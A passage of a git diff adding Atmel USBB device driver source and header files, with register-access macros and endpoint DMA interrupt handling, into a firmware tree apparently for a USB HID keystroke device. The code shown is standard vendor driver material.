+ && Is_udd_endpoint_dma_interrupt(ep)) { + uint32_t nb_remaining; + udd_disable_endpoint_dma_interrupt(ep); + // Save number of data no transfered + nb_remaining = (udd_endpoint_dma_get_status(ep) & + AVR32_USBB_UDDMA1_STATUS_CH_BYTE_CNT_MASK) + >> + AVR32_USBB_UDDMA1_STATUS_CH_BYTE_CNT_OFFSET; + // Get job corresponding at endpoint + ptr_job = &udd_ep_job[ep - 1]; + // Update number of data transfered + ptr_job->buf_size -= nb_remaining; + + if (!Is_udd_endpoint_in(ep)) { + // Disable autoswitch bank on OUT + udd_disable_endpoint_bank_autoswitch(ep); + } else { + // Wait end of background transfer on IN endpoint before disabled autoswitch bank + udd_enable_endpoint_interrupt(ep); + udd_enable_bank_interrupt(ep); + } + // Call callback to signal end of transfer + udd_ep_finish_job(&udd_ep_job[ep - 1], false); + return true; + } + // Check empty bank interrupt event + if (Is_udd_endpoint_interrupt_enabled(ep) + && (0 == udd_nb_busy_bank(ep))) { + // End of background transfer on IN endpoint + udd_disable_bank_interrupt(ep); + udd_disable_endpoint_interrupt(ep); + // If no new transfer running then disable autoswitch bank + if (!udd_ep_job[ep - 1].busy) { + udd_disable_endpoint_bank_autoswitch(ep); + } + // If a stall has been requested during backgound transfer then execute it + if (udd_ep_job[ep - 1].stall_requested) { + udd_ep_job[ep - 1].stall_requested = false; + udd_enable_stall_handshake(ep); + udd_reset_data_toggle(ep); + } + return true; + } + } + return false; +} +#endif // (0!=USB_DEVICE_MAX_EP) + +//@} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.h new file mode 100755 index 0000000..834f926 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/avr32/drivers/usbb/usbb_device.h @@ -0,0 +1,564 @@ +/** + * \file + * + * \brief USBB Device Driver header file. + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _USBB_DEVICE_H_ +#define _USBB_DEVICE_H_ + +#include "compiler.h" +#include "preprocessor.h" + + +//! \ingroup usb_device_group +//! \defgroup udd_group USB Device Driver (UDD) +//! USBB low-level driver for USB device mode +//! +//! @warning Bit-masks are used instead of bit-fields because PB registers +//! require 32-bit write accesses while AVR32-GCC 4.0.2 builds 8-bit +//! accesses even when volatile unsigned int bit-fields are specified. +//! @{ + +//! @name USBB Device IP properties +//! These macros give access to IP properties +//! @{ + //! Get maximal number of endpoints +#define UDD_get_endpoint_max_nbr() (((Rd_bitfield(AVR32_USBB_ufeatures, AVR32_USBB_UFEATURES_EPT_NBR_MAX_MASK) - 1) & ((1 << AVR32_USBB_UFEATURES_EPT_NBR_MAX_SIZE) - 1)) + 1) +//! @} + +//! @name USBB Device speeds management +//! @{ + //! Enable/disable device low-speed mode +#define udd_low_speed_enable() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK)) +#define udd_low_speed_disable() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK)) + //! Test if device low-speed mode is forced +#define Is_udd_low_speed_enable() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_LS_MASK)) + +#ifdef AVR32_USBB_UDCON_SPDCONF + //! Enable high speed mode +# define udd_high_speed_enable() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 0)) + //! Disable high speed mode +# define udd_high_speed_disable() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 3)) + //! Test if controller is in full speed mode +# define Is_udd_full_speed_mode() (Rd_bitfield(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_SPEED_MASK) == AVR32_USBB_USBSTA_SPEED_FULL) +#else +# define udd_high_speed_enable() do { } while (0) +# define udd_high_speed_disable() do { } while (0) +# define Is_udd_full_speed_mode() TRUE +#endif +//! @} + +//! @name USBB Device HS test mode management +//! @{ +#ifdef AVR32_USBB_UDCON_SPDCONF + //! Enable high speed test mode +# define udd_enable_hs_test_mode() (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_SPDCONF_MASK, 2)) +# define udd_enable_hs_test_mode_j() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTJ_MASK)) +# define udd_enable_hs_test_mode_k() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTK_MASK)) +# define udd_enable_hs_test_mode_packet() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_TSTPCKT_MASK)) +#endif +//! @} + +//! @name USBB Device vbus management +//! @{ +#define udd_enable_vbus_interrupt() (Set_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK)) +#define udd_disable_vbus_interrupt() (Clr_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK)) +#define Is_udd_vbus_interrupt_enabled() (Tst_bits(AVR32_USBB.usbcon, AVR32_USBB_USBCON_VBUSTE_MASK)) +#define Is_udd_vbus_high() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_VBUS_MASK)) +#define Is_udd_vbus_low() (!Is_udd_vbus_high()) +#define udd_ack_vbus_transition() (AVR32_USBB.usbstaclr = AVR32_USBB_USBSTACLR_VBUSTIC_MASK) +#define udd_raise_vbus_transition() (AVR32_USBB.usbstaset = AVR32_USBB_USBSTASET_VBUSTIS_MASK) +#define Is_udd_vbus_transition() (Tst_bits(AVR32_USBB.usbsta, AVR32_USBB_USBSTA_VBUSTI_MASK)) +//! @} + + +//! @name USBB device attach control +//! These macros manage the USBB Device attach. +//! @{ + //! detaches from USB bus +#define udd_detach_device() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK)) + //! attaches to USB bus +#define udd_attach_device() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK)) + //! test if the device is detached +#define Is_udd_detached() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_DETACH_MASK)) +//! @} + + +//! @name USBB device bus events control +//! These macros manage the USBB Device bus events. +//! @{ + +//! Initiates a remote wake-up event +//! @{ +#define udd_initiate_remote_wake_up() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_RMWKUP_MASK)) +#define Is_udd_pending_remote_wake_up() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_RMWKUP_MASK)) +//! @} + +//! Manage upstream resume event (=remote wakeup) +//! The USB driver sends a resume signal called "Upstream Resume" +//! @{ +#define udd_enable_remote_wake_up_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_UPRSMES_MASK) +#define udd_disable_remote_wake_up_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_UPRSMEC_MASK) +#define Is_udd_remote_wake_up_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_UPRSME_MASK)) +#define udd_ack_remote_wake_up_start() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_UPRSMC_MASK) +#define udd_raise_remote_wake_up_start() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_UPRSMS_MASK) +#define Is_udd_remote_wake_up_start() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_UPRSM_MASK)) +//! @} + +//! Manage end of resume event (=remote wakeup) +//! The USB controller detects a valid "End of Resume" signal initiated by the host +//! @{ +#define udd_enable_resume_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EORSMES_MASK) +#define udd_disable_resume_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EORSMEC_MASK) +#define Is_udd_resume_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EORSME_MASK)) +#define udd_ack_resume() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_EORSMC_MASK) +#define udd_raise_resume() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_EORSMS_MASK) +#define Is_udd_resume() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EORSM_MASK)) +//! @} + +//! Manage wake-up event (=usb line activity) +//! The USB controller is reactivated by a filtered non-idle signal from the lines +//! @{ +#define udd_enable_wake_up_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_WAKEUPES_MASK) +#define udd_disable_wake_up_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_WAKEUPEC_MASK) +#define Is_udd_wake_up_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_WAKEUPE_MASK)) +#define udd_ack_wake_up() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_WAKEUPC_MASK) +#define udd_raise_wake_up() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_WAKEUPS_MASK) +#define Is_udd_wake_up() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_WAKEUP_MASK)) +//! @} + +//! Manage reset event +//! Set when a USB "End of Reset" has been detected +//! @{ +#define udd_enable_reset_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EORSTES_MASK) +#define udd_disable_reset_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EORSTEC_MASK) +#define Is_udd_reset_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EORSTE_MASK)) +#define udd_ack_reset() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_EORSTC_MASK) +#define udd_raise_reset() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_EORSTS_MASK) +#define Is_udd_reset() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EORST_MASK)) +//! @} + +//! Manage sart of frame event +//! @{ +#define udd_enable_sof_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_SOFES_MASK) +#define udd_disable_sof_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_SOFEC_MASK) +#define Is_udd_sof_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_SOFE_MASK)) +#define udd_ack_sof() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_SOFC_MASK) +#define udd_raise_sof() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_SOFS_MASK) +#define Is_udd_sof() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_SOF_MASK)) +#define udd_frame_number() (Rd_bitfield(AVR32_USBB.udfnum, AVR32_USBB_UDFNUM_FNUM_MASK)) +#define Is_udd_frame_number_crc_error() (Tst_bits(AVR32_USBB.udfnum, AVR32_USBB_UDFNUM_FNCERR_MASK)) +//! @} + +//! Manage suspend event +//! @{ +#define udd_enable_suspend_interrupt() (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_SUSPES_MASK) +#define udd_disable_suspend_interrupt() (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_SUSPEC_MASK) +#define Is_udd_suspend_interrupt_enabled() (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_SUSPE_MASK)) +#define udd_ack_suspend() (AVR32_USBB.udintclr = AVR32_USBB_UDINTCLR_SUSPC_MASK) +#define udd_raise_suspend() (AVR32_USBB.udintset = AVR32_USBB_UDINTSET_SUSPS_MASK) +#define Is_udd_suspend() (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_SUSP_MASK)) +//! @} + +//! @} + +//! @name USBB device address control +//! These macros manage the USBB Device address. +//! @{ + //! enables USB device address +#define udd_enable_address() (Set_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK)) + //! disables USB device address +#define udd_disable_address() (Clr_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK)) +#define Is_udd_address_enabled() (Tst_bits(AVR32_USBB.udcon, AVR32_USBB_UDCON_ADDEN_MASK)) + //! configures the USB device address +#define udd_configure_address(addr) (Wr_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_UADD_MASK, addr)) + //! gets the currently configured USB device address +#define udd_get_configured_address() (Rd_bitfield(AVR32_USBB.udcon, AVR32_USBB_UDCON_UADD_MASK)) +//! @} + + +//! @name USBB Device endpoint drivers +//! These macros manage the common features of the endpoints. +//! @{ + +//! Generic macro for USBB registers that can be arrayed +//! @{ +#define USBB_ARRAY(reg,index) ((&AVR32_USBB.reg)[(index)]) +//! @} + +//! @name USBB Device endpoint configguration +//! @{ + //! enables the selected endpoint +#define udd_enable_endpoint(ep) (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! disables the selected endpoint +#define udd_disable_endpoint(ep) (Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! tests if the selected endpoint is enabled +#define Is_udd_endpoint_enabled(ep) (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPEN0_MASK << (ep))) + //! resets the selected endpoint +#define udd_reset_endpoint(ep) (Set_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep)),\ + Clr_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep))) + //! tests if the selected endpoint is being reset +#define Is_udd_resetting_endpoint(ep) (Tst_bits(AVR32_USBB.uerst, AVR32_USBB_UERST_EPRST0_MASK << (ep))) + + //! configures the selected endpoint type +#define udd_configure_endpoint_type(ep, type) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK, type)) + //! gets the configured selected endpoint type +#define udd_get_endpoint_type(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK)) + //! enables the bank autoswitch for the selected endpoint +#define udd_enable_endpoint_bank_autoswitch(ep) (Set_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK)) + //! disables the bank autoswitch for the selected endpoint +#define udd_disable_endpoint_bank_autoswitch(ep) (Clr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK)) +#define Is_udd_endpoint_bank_autoswitch_enabled(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_AUTOSW_MASK)) + //! configures the selected endpoint direction +#define udd_configure_endpoint_direction(ep, dir) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK, dir)) + //! gets the configured selected endpoint direction +#define udd_get_endpoint_direction(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK)) +#define Is_udd_endpoint_in(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPDIR_MASK)) + //! Bounds given integer size to allowed range and rounds it up to the nearest + //! available greater size, then applies register format of USBB controller + //! for endpoint size bit-field. +#define udd_format_endpoint_size(size) (32 - clz(((U32)min(max(size, 8), 1024) << 1) - 1) - 1 - 3) + //! configures the selected endpoint size +#define udd_configure_endpoint_size(ep, size) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPSIZE_MASK, udd_format_endpoint_size(size))) + //! gets the configured selected endpoint size +#define udd_get_endpoint_size(ep) (8 << Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPSIZE_MASK)) + //! configures the selected endpoint number of banks +#define udd_configure_endpoint_bank(ep, bank) (Wr_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPBK_MASK, bank)) + //! gets the configured selected endpoint number of banks +#define udd_get_endpoint_bank(ep) (Rd_bitfield(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPBK_MASK)) + //! allocates the configuration selected endpoint in DPRAM memory +#define udd_allocate_memory(ep) (Set_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK)) + //! un-allocates the configuration selected endpoint in DPRAM memory +#define udd_unallocate_memory(ep) (Clr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK)) +#define Is_udd_memory_allocated(ep) (Tst_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_ALLOC_MASK)) + + //! configures selected endpoint in one step +#define udd_configure_endpoint(ep, type, dir, size, bank) \ +(\ + Wr_bits(USBB_ARRAY(uecfg0,ep), AVR32_USBB_UECFG0_EPTYPE_MASK |\ + AVR32_USBB_UECFG0_EPDIR_MASK |\ + AVR32_USBB_UECFG0_EPSIZE_MASK |\ + AVR32_USBB_UECFG0_EPBK_MASK, \ + (((U32)(type) << AVR32_USBB_UECFG0_EPTYPE_OFFSET) & AVR32_USBB_UECFG0_EPTYPE_MASK) |\ + (((U32)(dir ) << AVR32_USBB_UECFG0_EPDIR_OFFSET ) & AVR32_USBB_UECFG0_EPDIR_MASK ) |\ + ( (U32)udd_format_endpoint_size(size) << AVR32_USBB_UECFG0_EPSIZE_OFFSET ) |\ + (((U32)(bank) << AVR32_USBB_UECFG0_EPBK_OFFSET ) & AVR32_USBB_UECFG0_EPBK_MASK ))\ +) + //! tests if current endpoint is configured +#define Is_udd_endpoint_configured(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_CFGOK_MASK)) + //! returns the control direction +#define udd_control_direction() (Rd_bitfield(USBB_ARRAY(uesta0(EP_CONTROL), AVR32_USBB_UESTA0_CTRLDIR_MASK)) + + //! resets the data toggle sequence +#define udd_reset_data_toggle(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RSTDTS_MASK) + //! tests if the data toggle sequence is being reset +#define Is_udd_data_toggle_reset(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RSTDT_MASK)) + //! returns data toggle +#define udd_data_toggle(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_DTSEQ_MASK)) +//! @} + + +//! @name USBB Device control endpoint +//! These macros contorl the endpoints. +//! @{ + +//! @name USBB Device control endpoint interrupts +//! These macros control the endpoints interrupts. +//! @{ + //! enables the selected endpoint interrupt +#define udd_enable_endpoint_interrupt(ep) (AVR32_USBB.udinteset = AVR32_USBB_UDINTESET_EP0INTES_MASK << (ep)) + //! disables the selected endpoint interrupt +#define udd_disable_endpoint_interrupt(ep) (AVR32_USBB.udinteclr = AVR32_USBB_UDINTECLR_EP0INTEC_MASK << (ep)) + //! tests if the selected endpoint interrupt is enabled +#define Is_udd_endpoint_interrupt_enabled(ep) (Tst_bits(AVR32_USBB.udinte, AVR32_USBB_UDINTE_EP0INTE_MASK << (ep))) + //! tests if an interrupt is triggered by the selected endpoint +#define Is_udd_endpoint_interrupt(ep) (Tst_bits(AVR32_USBB.udint, AVR32_USBB_UDINT_EP0INT_MASK << (ep))) + //! returns the lowest endpoint number generating an endpoint interrupt or MAX_PEP_NB if none +#define udd_get_interrupt_endpoint_number() (ctz(((AVR32_USBB.udint >> AVR32_USBB_UDINT_EP0INT_OFFSET) &\ + (AVR32_USBB.udinte >> AVR32_USBB_UDINTE_EP0INTE_OFFSET)) |\ + (1 << MAX_PEP_NB))) +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + //! enables the STALL handshake +#define udd_enable_stall_handshake(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLRQS_MASK) + //! disables the STALL handshake +#define udd_disable_stall_handshake(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLRQC_MASK) + //! tests if STALL handshake request is running +#define Is_udd_endpoint_stall_requested(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLRQ_MASK)) + //! tests if STALL sent +#define Is_udd_stall(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_STALLEDI_MASK)) + //! acks STALL sent +#define udd_ack_stall(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_STALLEDIC_MASK) + //! raises STALL sent +#define udd_raise_stall(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_STALLEDIS_MASK) + //! enables STALL sent interrupt +#define udd_enable_stall_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLEDES_MASK) + //! disables STALL sent interrupt +#define udd_disable_stall_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLEDEC_MASK) + //! tests if STALL sent interrupt is enabled +#define Is_udd_stall_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLEDE_MASK)) + + //! tests if NAK OUT received +#define Is_udd_nak_out(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NAKOUTI_MASK)) + //! acks NAK OUT received +#define udd_ack_nak_out(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_NAKOUTIC_MASK) + //! raises NAK OUT received +#define udd_raise_nak_out(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NAKOUTIS_MASK) + //! enables NAK OUT interrupt +#define udd_enable_nak_out_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NAKOUTES_MASK) + //! disables NAK OUT interrupt +#define udd_disable_nak_out_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NAKOUTEC_MASK) + //! tests if NAK OUT interrupt is enabled +#define Is_udd_nak_out_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NAKOUTE_MASK)) + + //! tests if NAK IN received +#define Is_udd_nak_in(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NAKINI_MASK)) + //! acks NAK IN received +#define udd_ack_nak_in(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_NAKINIC_MASK) + //! raises NAK IN received +#define udd_raise_nak_in(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NAKINIS_MASK) + //! enables NAK IN interrupt +#define udd_enable_nak_in_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_NAKINES_MASK) + //! disables NAK IN interrupt +#define udd_disable_nak_in_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_NAKINEC_MASK) + //! tests if NAK IN interrupt is enabled +#define Is_udd_nak_in_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_NAKINE_MASK)) + + //! acks endpoint isochronous overflow interrupt +#define udd_ack_overflow_interrupt(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_OVERFIC_MASK) + //! raises endpoint isochronous overflow interrupt +#define udd_raise_overflow_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_OVERFIS_MASK) + //! tests if an overflow occurs +#define Is_udd_overflow(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_OVERFI_MASK)) + //! enables overflow interrupt +#define udd_enable_overflow_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_OVERFES_MASK) + //! disables overflow interrupt +#define udd_disable_overflow_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_OVERFEC_MASK) + //! tests if overflow interrupt is enabled +#define Is_udd_overflow_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_OVERFE_MASK)) + + //! acks endpoint isochronous underflow interrupt +#define udd_ack_underflow_interrupt(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_UNDERFIC_MASK) + //! raises endpoint isochronous underflow interrupt +#define udd_raise_underflow_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_UNDERFIS_MASK) + //! tests if an underflow occurs +#define Is_udd_underflow(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_UNDERFI_MASK)) + //! enables underflow interrupt +#define udd_enable_underflow_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_RXSTPES_MASK) + //! disables underflow interrupt +#define udd_disable_underflow_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_RXSTPEC_MASK) + //! tests if underflow interrupt is enabled +#define Is_udd_underflow_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_RXSTPE_MASK)) + + //! tests if CRC ERROR ISO OUT detected +#define Is_udd_crc_error(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_STALLEDI_MASK)) + //! acks CRC ERROR ISO OUT detected +#define udd_ack_crc_error(ep) (USBB_ARRAY(uesta0clr,ep) = AVR32_USBB_UESTA0CLR_STALLEDIC_MASK) + //! raises CRC ERROR ISO OUT detected +#define udd_raise_crc_error(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_STALLEDIS_MASK) + //! enables CRC ERROR ISO OUT detected interrupt +#define udd_enable_crc_error_interrupt(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_STALLEDES_MASK) + //! disables CRC ERROR ISO OUT detected interrupt +#define udd_disable_crc_error_interrupt(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_STALLEDEC_MASK) + //! tests if CRC ERROR ISO OUT detected interrupt is enabled +#define Is_udd_crc_error_interrupt_enabled(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_STALLEDE_MASK)) +//! @} + +//! @name USBB Device control endpoint errors +//! These macros control the endpoint errors. +//! @{ + + //! tests if endpoint read allowed +#define Is_udd_read_enabled(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RWALL_MASK)) + //! tests if endpoint write allowed +#define Is_udd_write_enabled(ep) (Tst_bits(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_RWALL_MASK)) + + //! returns the byte count +#define udd_byte_count(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_BYCT_MASK)) + //! clears FIFOCON bit +#define udd_ack_fifocon(ep) (USBB_ARRAY(uecon0clr,ep) = AVR32_USBB_UECON0CLR_FIFOCONC_MASK) + //! tests if FIFOCON bit set +#define Is_udd_fifocon(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_FIFOCON_MASK)) + + //! returns the number of busy banks +#define udd_nb_busy_bank(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_NBUSYBK_MASK)) + //! returns the number of the current bank +#define udd_current_bank(ep) (Rd_bitfield(USBB_ARRAY(uesta0,ep), AVR32_USBB_UESTA0_CURRBK_MASK)) + //! kills last bank +#define udd_kill_last_in_bank(ep) (USBB_ARRAY(uecon0set,ep) = AVR32_USBB_UECON0SET_KILLBKS_MASK) + //! tests if last bank killed +#define Is_udd_last_in_bank_killed(ep) (Tst_bits(USBB_ARRAY(uecon0,ep), AVR32_USBB_UECON0_KILLBK_MASK)) + //! forces all banks full (OUT) or free (IN) interrupt +#define udd_force_bank_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NBUSYBKS_MASK) + //! unforces all banks full (OUT) or free (IN) interrupt +#define udd_unforce_bank_interrupt(ep) (USBB_ARRAY(uesta0set,ep) = AVR32_USBB_UESTA0SET_NBUSYBKS_MASK) + //! enables all banks full (OUT) or free (IN) interrupt +#define 